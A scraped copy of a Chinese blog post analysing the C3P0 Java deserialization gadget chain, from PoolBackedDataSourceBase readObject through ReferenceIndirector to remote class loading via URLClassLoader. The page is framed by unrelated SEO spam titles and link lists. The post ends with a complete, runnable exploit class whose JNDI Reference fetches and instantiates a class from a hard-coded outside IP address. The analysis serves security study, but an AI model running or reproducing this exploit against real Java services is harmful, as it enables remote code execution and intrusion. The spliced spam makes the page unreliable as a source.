当前位置: 首页 > news >正文

便宜网站设计佛山网站制作的公司

便宜网站设计,佛山网站制作的公司,营销号,05网寒假作业目录 前言 C3P0介绍 回归本源——序列化的条件 利用链 利用链分析 入口——PoolBackedDataSourceBase#readObject 拨云见日——PoolBackedDataSourceBase#writeObject 综合分析 EXP 前言 这条链最让我眼前一亮的就是对Serializable接口的有无进行了一个玩#xff0c…目录 前言 C3P0介绍 回归本源——序列化的条件 利用链 利用链分析 入口——PoolBackedDataSourceBase#readObject 拨云见日——PoolBackedDataSourceBase#writeObject 综合分析 EXP 前言 这条链最让我眼前一亮的就是对Serializable接口的有无进行了一个玩相较之前纯粹跟全继承Serializable接口的链子思考又多了一个维度。(虽然不是关键) C3P0介绍 pom依赖 dependencygroupIdcom.mchange/groupIdartifactIdc3p0/artifactIdversion0.9.5.2/version /dependency C3P0是一个开源的JDBC连接池它实现了数据源和JNDI绑定支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有HibernateSpring等。  连接池类似于线程池在一些情况下我们会频繁地操作数据库此时Java在连接数据库时会频繁地创建或销毁句柄增大资源的消耗。为了避免这样一种情况我们可以提前创建好一些连接句柄需要使用时直接使用句柄不需要时可将其放回连接池中准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。 回归本源——序列化的条件 求求师傅们别嫌我烦让我再啰嗦几句QWQ 提问 一个类的某个属性没有继承Serializable接口这个类可以序列化吗 回答 在 Java 中如果一个类的某个属性没有实现 Serializable 接口但这个属性是 transient 的那么这个类仍然可以被序列化。当对象被序列化时transient 修饰的属性将会被忽略不会被序列化到输出流中而其他非 transient 的属性则会被正常序列化。 如果一个类的某个属性既不是 transient 的也没有实现 Serializable 接口那么在尝试对该类的实例对象进行序列化时会导致编译错误或者在运行时抛出 NotSerializableException 异常。 因此为了确保一个类的实例对象可以被成功序列化通常建议满足以下条件 类本身实现 Serializable 接口所有非 transient 的属性都实现 Serializable 接口或者是基本数据类型如 int、long 等如果有某些属性不需要被序列化可以将它们声明为 transient。 利用链 PoolBackedDataSourceBase#readObject- ReferenceIndirector#getObject- ReferenceableUtils#referenceToObject- of(ObjectFactory)#getObjectInstance 利用链分析 入口——PoolBackedDataSourceBase#readObject PoolBackedDataSourceBase中有个ConnectionPoolDataSource类型的私用属性 private ConnectionPoolDataSource connectionPoolDataSource; 注意到ConnectionPoolDataSource没有继承Serializable接口也就无法被序列化 public interface ConnectionPoolDataSource extends CommonDataSource 点到为止再看PoolBackedDataSourceBase#readObject private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {short version ois.readShort();switch (version) {case 1:Object o ois.readObject();if (o instanceof IndirectlySerialized) {o ((IndirectlySerialized)o).getObject();}this.connectionPoolDataSource (ConnectionPoolDataSource)o;this.dataSourceName (String)ois.readObject();o ois.readObject();if (o instanceof IndirectlySerialized) {o ((IndirectlySerialized)o).getObject();}this.extensions (Map)o;this.factoryClassLocation (String)ois.readObject();this.identityToken (String)ois.readObject();this.numHelperThreads ois.readInt();this.pcs new PropertyChangeSupport(this);this.vcs new VetoableChangeSupport(this);return;default:throw new IOException(Unsupported Serialized Version: version);}}我们发现一个奇怪的逻辑 判断对象o是否是IndirectlySerialized类的对象或者是其子类的对象,若是则调用getobject后强转对象为ConnectionPoolDataSource 也就是在反序列化时进行了这样的转换IndirectlySerialized - ConnectionPoolDataSource 这么做的目的是什么呢 抛开目的不谈((IndirectlySerialized)o).getObject()我们也不知道其具体实现是什么 public interface IndirectlySerialized extends Serializable {Object getObject() throws ClassNotFoundException, IOException; } 反序列化分析到这一步似乎已经瓶颈我们下面再来看序列化的过程。 拨云见日——PoolBackedDataSourceBase#writeObject 来看PoolBackedDataSourceBase#writeObject private void writeObject(ObjectOutputStream oos) throws IOException {oos.writeShort(1);ReferenceIndirector indirector;try {SerializableUtils.toByteArray(this.connectionPoolDataSource);oos.writeObject(this.connectionPoolDataSource);} catch (NotSerializableException var9) {MLog.getLogger(this.getClass()).log(MLevel.FINE, Direct serialization provoked a NotSerializableException! Trying indirect., var9);try {indirector new ReferenceIndirector();oos.writeObject(indirector.indirectForm(this.connectionPoolDataSource));} 这段逻辑是首先尝试序列化当前对象的connectionPoolDataSource属性若抛出NotSerializableException异常即不能序列化则catch这个异常并用ReferenceIndirector.indirectForm处理后再序列化。 因为ConnectionPoolDataSource没有继承Serializable接口(上面提到过)所以我们会进到异常的逻辑中 跟进new ReferenceIndirector().indirectForm public IndirectlySerialized indirectForm(Object var1) throws Exception {Reference var2 ((Referenceable)var1).getReference();return new ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);} 调用了connectionPoolDataSource属性的getReference()返回Reference后作为参数封装进ReferenceSerialized对象而ReferenceSerialized实现的接口IndirectlySerialized继承了Serializable接口因此ReferenceSerialized可被序列化。 private static class ReferenceSerialized implements IndirectlySerialized public interface IndirectlySerialized extends Serializable OK到这里为止我们知道了connectionPoolDataSource属性的序列化最后写入的是ReferenceSerialized 也就是在序列化时进行了这样的转换IndirectlySerialized - ConnectionPoolDataSource 太好了我逐渐理解了一切 综合分析 上面所讲的序列化的过程其实就是为了照顾到不能直接序列化的ConnectionPoolDataSource先提供一个可序列化的ReferenceSerialized(IndirectlySerialized)进行中转。 而反序列化的过程就是把中转的ReferenceSerialized(IndirectlySerialized)再度还原为PoolBackedDataSourceBase类的属性ConnectionPoolDataSource 好的我们回过头再来看PoolBackedDataSourceBase#readObject中的这段代码 Object o ois.readObject();if (o instanceof IndirectlySerialized) {o ((IndirectlySerialized)o).getObject();}this.connectionPoolDataSource (ConnectionPoolDataSource)o; ((IndirectlySerialized)o).getObject()其实就是调用ReferenceIndirector#getObject public Object getObject() throws ClassNotFoundException, IOException {try {InitialContext var1;if (this.env null) {var1 new InitialContext();} else {var1 new InitialContext(this.env);}Context var2 null;if (this.contextName ! null) {var2 (Context)var1.lookup(this.contextName);}return ReferenceableUtils.referenceToObject(this.reference, this.name, var2, this.env);} 跟进ReferenceableUtils.referenceToObject() 顾名思义这个方法用于将引用Reference转换为对象 public static Object referenceToObject(Reference var0, Name var1, Context var2, Hashtable var3) throws NamingException {try {String var4 var0.getFactoryClassName();String var11 var0.getFactoryClassLocation();ClassLoader var6 Thread.currentThread().getContextClassLoader();if (var6 null) {var6 ReferenceableUtils.class.getClassLoader();}Object var7;if (var11 null) {var7 var6;} else {URL var8 new URL(var11);var7 new URLClassLoader(new URL[]{var8}, var6);}Class var12 Class.forName(var4, true, (ClassLoader)var7);ObjectFactory var9 (ObjectFactory)var12.newInstance();return var9.getObjectInstance(var0, var1, var2, var3);} Reference是之前序列化时候可控的(序列化时通过调用connectionPoolDataSource属性的getReference方法)我们只要传一个覆写了getReference方法的connectionPoolDataSource给PoolBackedDataSourceBase参与序列化即可。 之后显然可以通过URLClassLoader加载并实例化远程类 EXP package com.c3p0;import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.lang.reflect.Field; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger;public class C3P0 {public static void main(String[] args) throws Exception {PoolBackedDataSourceBase base new PoolBackedDataSourceBase(false);Class clazz Class.forName(com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase);Field cp clazz.getDeclaredField(connectionPoolDataSource);cp.setAccessible(true);cp.set(base, new evil());ByteArrayOutputStream baos new ByteArrayOutputStream();ObjectOutputStream oos new ObjectOutputStream(baos);oos.writeObject(base);oos.close();ObjectInputStream ois new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));Object o (Object) ois.readObject();}public static class evil implements ConnectionPoolDataSource, Referenceable{public Reference getReference() throws NamingException {return new Reference(calc, calc, http://124.222.136.33:1337/);}public PooledConnection getPooledConnection() throws SQLException {return null;}public PooledConnection getPooledConnection(String user, String password) throws SQLException {return null;}public PrintWriter getLogWriter() throws SQLException {return null;}public void setLogWriter(PrintWriter out) throws SQLException {}public void setLoginTimeout(int seconds) throws SQLException {}public int getLoginTimeout() throws SQLException {return 0;}public Logger getParentLogger() throws SQLFeatureNotSupportedException {return null;}} }
http://www.zqtcl.cn/news/75329/

相关文章:

  • 佛山高端网站制作公司哪家好网站建设任务和标准
  • 电子商务网站建设发展报告一对一直播app
  • 博客网站登录哪里有做区块链网站的
  • 公司网站建设的定位语要怎么取windows系统安装wordpress
  • 如何做视频网站 需要注意的地方什么软件可以发布广告信息
  • 内蒙古建设厅网站在哪制作一个简单的网页
  • 网站源码 免费下载百度网页版下载
  • 北京网页模板建站保定专业做网站
  • 做调像什么网站找活昆明快速做网站
  • 怎么免费建立自己网站迅睿cms和帝国哪个好
  • 什么叫个人网站软件小程序在哪个网站做
  • 创建网站的注意事项深圳做营销型网站
  • 电信电信网站备案系统南京一等一网络科技有限公司
  • 中企潍坊分公司网站hexo发布wordpress
  • 怎么做网站的软文推广sku电商是什么意思
  • 网站建设丨下拉找金手指上词快用凡科做的网站要钱吗
  • index网站制作用网站做的简历
  • 模板手机网站建设搜索引擎优化培训
  • 合肥外贸网站建设百度关键词刷排名软件
  • 网站色差表吉林网络公司哪家好
  • 博客网站开发源代码中国建设人才服务信息网是什么网站
  • 网站平台搭建织梦企业门户网站
  • 莆田免费建站模板dz网站建设
  • vps可以做多少网站seo公司 杭州
  • 找人做网站网页浏览器cookie
  • 广西建设工程质量监督网站凡科网站建设步骤
  • 福建网站模板分红网站建设
  • 什么是网站标题做全网营销型网站建设
  • 查公司注册信息怎么查昆明网站seo报价
  • 四川建设网官河北seo推广系统